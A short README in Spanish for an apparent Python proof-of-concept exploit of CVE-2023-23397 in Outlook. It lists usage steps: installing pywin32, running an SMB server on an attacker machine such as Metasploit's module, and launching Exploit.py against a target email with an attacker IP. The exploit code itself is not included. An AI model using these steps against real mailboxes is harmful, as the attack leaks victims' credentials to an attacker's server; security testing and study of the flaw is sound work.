CVE-2023-23397 (Escalada de Privilegios en Outlook)

Prueba de concepto para CVE-2023-23397 en Python

Prueba de concepto rápida y sencilla en Python para la CVE de Outlook que afecta a los productos Microsoft Office/365.

Uso

1. Instala pywin ejecutando pip install pywin32
2. Inicia un servidor SMB en la máquina atacante, como el módulo SMB de Metasploit
3. Ejecuta python Exploit.py <save_or_send> <target email> <attacker_ip> pasando el comando (save o send), la dirección de correo electrónico objetivo y la IP de la máquina atacante